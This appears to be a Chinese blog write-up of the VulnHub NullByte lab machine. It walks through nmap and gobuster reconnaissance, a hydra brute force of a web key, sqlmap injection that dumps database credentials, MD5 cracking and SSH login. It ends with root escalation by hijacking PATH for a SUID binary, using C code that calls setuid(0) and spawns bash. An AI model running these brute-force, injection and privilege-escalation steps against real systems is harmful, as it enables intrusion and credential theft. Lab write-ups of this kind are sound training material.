vulnhub(4):NullByte(hydra爆破、sql注入、path劫持提权、提权小tps)

端口

nmap主机发现
nmap -sn 192.168.236.0/24
​
Nmap scan report for 192.168.236.177
Host is up (0.00020s latency).
​
177是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.236.177 --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT        STATE       SERVICE
80/tcp      open        http
111/tcp     open        rpcbind   
777/tcp     open        ssh    
​
​
发现开放4个端口
nmap -sT -sC -sV -O -p22,80, -oA nmap/scan 192.168.236.177详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Null Byte 00 - level 1
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          41363/tcp6  status
|   100024  1          50826/tcp   status
|   100024  1          53666/udp   status
|_  100024  1          57231/udp6  status
777/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 163013d9d55536e81bb7d9ba552fd744 (DSA)
|   2048 29aa7d2e608ba6a1c2bd7cc8bd3cf4f2 (RSA)
|   256 6006e3648f8a6fa7745a8b3fe1249396 (ECDSA)
|_  256 bcf7448d796a194876a3e24492dc13a2 (ED25519)

立足点

查看网页,除了主页main.gif什么都没有,准备目录爆破

gobuster dir -u http://192.168.236.177/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html --add-slash
​
/.html/               (Status: 403) [Size: 296]
/.php/                (Status: 403) [Size: 295]
/icons/               (Status: 403) [Size: 296]
/uploads/             (Status: 200) [Size: 113]
/javascript/          (Status: 403) [Size: 301]
/phpmyadmin/          (Status: 200) [Size: 9123]
/.php/                (Status: 403) [Size: 295]
/.html/               (Status: 403) [Size: 296]
​
看下uploads和phpmyadmin,phpmyadmin是登录管理mysql页面,uploads只有个字符串Directory listing not allowed here.
​
uploads我也是用gobuster扫过,没什么敏感内容,phpmyadmin我使用sqlmap扫过没有sql注入

基本上信息收集完了,除了刚才看到的主页的main.gif

exiftools查看一下图片信息
​
ExifTool Version Number         : 12.49
File Name                       : main.gif
Directory                       : .
File Size                       : 17 kB
File Modification Date/Time     : 2015:08:02 00:39:30+08:00
File Access Date/Time           : 2024:09:10 20:55:26+08:00
File Inode Change Date/Time     : 2024:09:10 20:55:14+08:00
File Permissions                : -rw-r--r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
Megapixels                      : 0.071
​
发现comment下的kzMb5nVYJw敏感字符串
这个字符串登录ssh,phpmyadmin和网页目录都试一试,看看有没有新的内容
​
发现存在http://192.168.236.177/kzMb5nVYJw网页目录,下图是网页的全部内容

输入几个key,会出现invalid key,不知道要输入什么,拿hydra扫一下,使用rockyou字典

hydra -l none -P /usr/share/wordlists/rockyou.txt 192.168.236.177 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"
解析:
    -l表示要爆破的用户名
    
    -P表示要爆破的密码字典
    
    http-post-form 表示使用post爆破
        "/kzMb5nVYJw/index.php:key=^PASS^:invalid key":
            1.路径信息
            2.post数据以及^PASS^占位符
            3.返回的失败信息
            
最后爆出了个elite可以成功跳到下一个页面

又是一个输入框,除了爆破就是sql注入,这次先试一试sql注入,爆破查一些用户名没太大渗透作用

sqlmap -u http://192.168.236.177/kzMb5nVYJw/420search.php?usrtosearch=1 -dbs -batch
​
发现存在注入,获取到mysql一些信息:
[21:15:35] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.5
[21:15:35] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] seth
​
使用sqlmap查一查库里的内容:
命令解析:
    -D mysql --tables:选定mysql库,查看其表
    -D mysql -T <thetable> --columns:选定mysql库,thetable表,查询表中有哪些字段
    -D mysql -T <thetable> --dump:选定mysql库,thetable表,显示出thetable表所有内容
大致按以上这些思路去查
​
sqlmap -u http://192.168.236.177/kzMb5nVYJw/420search.php?usrtosearch=1 -D mysql -T user -C User,Password --dump --batch
显示mysql库user表的User,Password字段发现如下信息,可以发现sqlmap自动破解了hash:
+------------------+-------------------------------------------------------+
| User             | Password                                              |
+------------------+-------------------------------------------------------+
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| debian-sys-maint | *BD9EDF51931EC5408154EBBB88AA01DA22B8A8DC             |
| phpmyadmin       | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
+------------------+-------------------------------------------------------+
这些信息是phpmyadmin登录凭据,不能使用ssh登录,既然我们有了sql注入能查询数据库所有内容,我们也不需要phpmyadmin的登录凭据了。
接着查询其他数据库的其他表
sqlmap -u http://192.168.236.177/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth -T users --dump-all
​
+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+
​
这个是个敏感信息,我们那他做一下破解
可以去网站https://hashes.com/en/decrypt/hash做破解,也可以使用john破解,在这里我们使用工具john
​
base64解密:
c6d6bd7ebf806f43c76acc3681703b81
​
md5破解:
echo c6d6bd7ebf806f43c76acc3681703b81 > md5_hash
john --format=raw-md5 md5_hash 
​
成功破解:omega
​
使用户名ramses登录ssh
ssh ramses@192.168.236.177 -p 777 

提权

信息枚举

cat /etc/passwd:查看用户
sudo -l :提示无权限
cat /etc/crontab:没有可利用的计划任务
find / -perm -u=s -type f 2>/dev/null:查看具有s位的程序
​
信息如下:
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/procmail
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/sbin/exim4
/var/www/backup/procwatch
/bin/su
/bin/mount
/bin/umount
/sbin/mount.nfs
​
​
看到有s位的程序:/var/www/backup 中运行名为 procwatch
存放在/var/www/backup目录下,看看有没有什么配置错误
​
运行./procwatch

./procwatch运行界面和ps查看进程的运行界面一样,推断./procwatch调用了ps这个命令

./procwatch调用ps会在环境变量中按顺序寻找,如果我们将它寻找ps的过程引导成我们的以ps为名恶意文件,那么我们就能够顺利提权
​
export PATH=.:$PATH
方法1:echo "/bin/sh" > ps
方法2:ln -s /bin/sh ps(创建一个/bin/sh的快捷方式)
方法3:编译c语言未ps可执行文件

tips

将/bin/sh改为/bin/bash发现提权不成功,新起的shell仍然是ramses用户,如下:
bash-4.3$ id
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
​
这是因为suid调用bash时,会判断ruid和euid是否相同
ruid:真实用户ID表示发起该进程的用户。
euid:称为有效用户 ID,它表示系统用来确定进程权限的用户身份。
​
如果不相同,他将以ruid发起该进程的用户也就是ramses权限执行
​
解决方案:在调用/bin/bash前使用setuid(0)设置调用ruid为root用户
如下是调用setuid(0)和未调用的对比实验,将他们编译为ps,运行./procwatch
int main()
{
        int euid,ruid;
        ruid = getuid();
        euid = geteuid();
        printf("ruid=%d\neuid=%d",ruid,euid);
        setuid(0);
        ruid = getuid();
        printf("new_ruid=%d\n",ruid);
        system("/bin/bash");
​
        return 0;
}
​
​
ruid=1002
euid=0new_ruid=0
root@NullByte:/var/www/backup# id
uid=0(root) gid=1002(ramses) groups=1002(ramses)
#include <stdio.h>
int main()
{
        int euid,ruid;
        ruid = getuid();
        euid = geteuid();
        printf("ruid=%d\neuid=%d",ruid,euid);
        printf("ruid=%d\n",ruid);
        system("/bin/bash");
​
        return 0;
}
​
ruid=1002
euid=0ruid=1002
bash-4.3$ id
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
​
这里可以看到euid=0ruid=1002不相同,按照ruid调用者身份执行

/bin/bash在调用的时候,会判断当前bash进程的ruid和suid,若不同则降权
而/bin/sh是原始轻量级的shell不会像/bin/bash主动降权

  • 22
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值